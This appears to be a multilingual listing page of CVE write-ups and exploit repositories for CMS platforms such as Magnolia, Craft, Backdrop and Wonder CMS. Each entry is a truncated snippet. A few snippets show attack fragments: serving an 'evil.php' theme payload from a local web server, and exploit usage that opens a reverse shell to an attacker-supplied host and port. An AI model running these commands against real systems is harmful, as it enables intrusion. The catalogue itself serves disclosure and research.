CVE-2021-46366

CVE-2021-46366: Magnolia CMS의 CSRF 및 Open Redirect를 통한 자격 증명 무차별 대입 공격 Magnolia CMS v6.2.3 이하의 로그인 페이지에서 발생하는 문제로, 공격자가 Open Redirect 취약점과 CSRF교차 사이트 요청 위조를 악용하여 사용자의 자격 증명을 무차별 대입 및 유출할 수 있습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수 있습니다. 요구 사항: 이 취약점을 악용하려면 다음이 필요합니다: 사용자를 속여 악성 CSRF...

CVE-2021-46364

CVE-2021-46364: Magnolia CMS의 YAML 역직렬화 Magnolia 버전 =6.2.3는 Snake YAML 파서를 사용하며, 이는 YAML 파일 가져오기 시 공격자가 임의의 Java 생성자를 호출할 수 있는 역직렬화 공격에 취약합니다. 이 취약점을 통해 원격 코드 실행이 달성되었습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수 있습니다. 요구사항: 이 취약점을 악용하려면: 유효한 사용자 자격 증명이 필요합니다. 개념 증명: 자세한 내용과 악용 과정은 이 PDF에서...

CVE-2021-46362

CVE-2021-46362: Magnolia CMS에서의 FreeMarker 서버 측 템플릿 주입 Magnolia v6.2.3 이하의 등록 및 비밀번호 찾기 폼에서 발견된 서버 측 템플릿 주입SSTI 취약점으로, 인증되지 않은 공격자가 fullname 매개변수에 조작된 페이로드를 입력하여 임의 코드를 실행할 수 있습니다. 공동 작업: 이 취약점은 Marian-Razvan Ilisanu와의 협력을 통해 발견되었습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수 있습니다. 개념 증명: 자...

CVE-2021-46361

CVE-2021-46361: Magnolia CMS における FreeMarker 制限バイパス Magnolia CMS v6.2.11 以下の FreeMarker フィルタに問題があり、攻撃者が細工した FreeMarker ペイロードによってセキュリティ制限をバイパスし、任意のコードを実行できる可能性があります。 ベンダー開示: この脆弱性に関するベンダーの開示と修正はこちらでご確認いただけます。 概念実証: 詳細と悪用プロセスはこのPDFでご確認いただけます。 追加リソース: FreeMarker サンドボックスをエスケープするために使用された SSTI...

CVE-2026-105867 Payload: Client uploads could overwrite S3 objects

Payload is a free and open source headless content management system. In @payloadcms/storage-s3 versions before 3.90.0 and canary versions before 4.0.0-canary.34, an authenticated user can overwrite an existing S3 object belonging to another upload collection when client uploads are enabled for...

CVE-2025-25062

CVE-2025-25062 설명 사용법 예제 타임라인 설명 Backdrop CMS 1.29.2의 게시물 편집 페이지에 저장형 교차 사이트 스크립팅XSS 취약점이 존재합니다. 이 스크립트는 CSRF 페이로드와 연계하여 '편집자' 역할에서 '관리자'로 권한 상승을 달성합니다. 관련 링크: https://vulners.com/cve/CVE-2025-25062 https://backdropcms.org/security/backdrop-sa-core-2025-001 사용법 usage: CVE-2025-25062.py -h -u...

Magnolia-CMS-6.2.19-Stored-Cross-Site-Scripting-CVE-2022-33098

Magnolia CMS 응답 업로드가 허용되며, SVG가 연락처 또는 에셋 보기에서 렌더링될 때 페이로드가 실행됩니다. 해결 방법 Magnolia CMS 6.2.20 릴리스 노트를 참조하고 수정된 버전으로 업그레이드하십시오. 공개 타임라인 2022-06-17: Magnolia CMS 6.2.20 출시, 에셋 업로드 처리 강화 2022-07-07: CVE-2022-33098이 NVD에 게시됨 2022-07-14: NVD 초기 분석이 CVSS 및 CWE 데이터로 업데이트됨 참고 자료 1...

CVE-2023-41425

Wonder CMS RCE | | Description : XSS to RCE, Wonder CMS 3.2.0 evil/evil.php EOF zip -r evil.zip evil/ JS payload that will install the new theme cat form+action=" EOF Starting a new web server to serve payloads sudo python3 -m http.server $LPORTWEB & | | 관리자에게 RCE XSS를 전송한 후 다음과 같은 HTTP 호출이 발생합니다...

Ashok

Ashok 엄청나게 빠른 정찰용 스위스 아미 나이프 📌 소개 정찰Reconnaissance은 침투 테스트의 첫 번째 단계로, 실제 공격을 계획하기 전에 정보를 수집하는 단계입니다. 따라서 Ashok은 침투 테스터를 위한 엄청나게 빠른 정찰 도구이며, 특히 정찰 단계를 위해 설계되었습니다. Ashok-v1.1에서는 고급 Google 도커와 웨이백 크롤링 머신을 찾을 수 있습니다. 💥 주요 기능 - Wayback Crawler Machine - Google Dorking without limits - Github Informati...

CVE-2021-21425-RCE

これは私のバージョンです。インターネットでたくさん見つけましたが、それらは質が悪すぎます。 使用法 python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 待ってください。60秒後にリスナーでシェルを取得できます。...

CVE-2019-9053-CMS-Made-Simple-2.2.10---SQL-Injection-Exploit

CMS-Made-Simple-2.2.10---SQL-Injection-Exploit-com-corre-o-de-Bugs 이 익스플로잇은 Python 3를 지원하도록 수정되었습니다. CVE-2019-9053 원본 익스플로잇 출처: https://www.exploit-db.com/exploits/46635 가능한 오류 및 수정 Traceback most recent call last: File "46635.py", line 12, in from termcolor import colored ImportError: No module...

CVE-2026-105985

Craft CMS 5.10.13.2 contains an authenticated remote code execution vulnerability in the Control Panel action app/render-components. Any authenticated user with basic Control Panel access can submit request-controlled component classes and property overrides. By first overriding...

CVE-2026-44011-poc

CVE-2026-44011 Yiiのbehaviorインジェクションを介したCraft CMSの認証済みRCE。 影響を受けるバージョン: 4.0.0–4.17.11、5.0.0–5.9.17 修正バージョン: 4.17.12、5.9.18 アドバイザリ: GHSA-qrgm-p9w5-rrfw 脆弱性 /admin/actions/element-search/search エンドポイントは condition パラメータを受け取り、それを Component::cleanseConfig を最初に呼び出すことなく ElementCondition::createCondition...

CVE-2026-105985 Authenticated RCE via render-components Entry Type overrides

Craft CMS 5.10.13.2 contains an authenticated remote code execution vulnerability in the Control Panel action app/render-components. Any authenticated user with basic Control Panel access can submit request-controlled component classes and property overrides. By first overriding...

CVE-2026-105985 Authenticated RCE via render-components Entry Type overrides

Craft CMS 5.10.13.2 contains an authenticated remote code execution vulnerability in the Control Panel action app/render-components. Any authenticated user with basic Control Panel access can submit request-controlled component classes and property overrides. By first overriding...

EUVD-2026-93362

Craft CMS 5.10.13.2 contains an authenticated remote code execution vulnerability in the Control Panel action app/render-components. Any authenticated user with basic Control Panel access can submit request-controlled component classes and property overrides. By first overriding...

CVE-2026-105985

Craft CMS 5.10.13.2 is vulnerable to authenticated remote code execution (RCE) within the Control Panel's app/render-components action. An authenticated user with basic Control Panel access can submit request-controlled component classes and property overrides to manipulate an EntryType object's ...

CVE-2019-9053-CMS46635-python3

CVE-2019-2019-9053--CMS46635 CMS Made Simple 2.2.10 - SQL Injection python3...

inforfinder

Inforfinder =========== Inforfinder is a tool made to collect information of any domain pointing at a server ip,domain,range,file. Requires python libs: pyRequests, lxml and py3DNS You can do the installation, with pip or you can install the inforfinder app as a package using python setup.py...

CVE-2025-2304

CVE-2025-2304 - Camaleon CMS 2.9.0 - 권한 상승 익스플로잇 개요 이 Python 스크립트는 Camaleon CMS 버전 2.9.0의 심각한 mass assignment 취약점을 악용하여, 등록된 모든 사용자가 관리자로 권한을 상승시킬 수 있도록 합니다. 취약점 세부 정보 CVE : CVE-2025-2304 - UsersControllerupdatedajax의 Mass Assignment 영향받는 버전 : Camaleon CMS 2.9.0 심각도 : 치명적 공격 벡터 : updatedajax 액션의...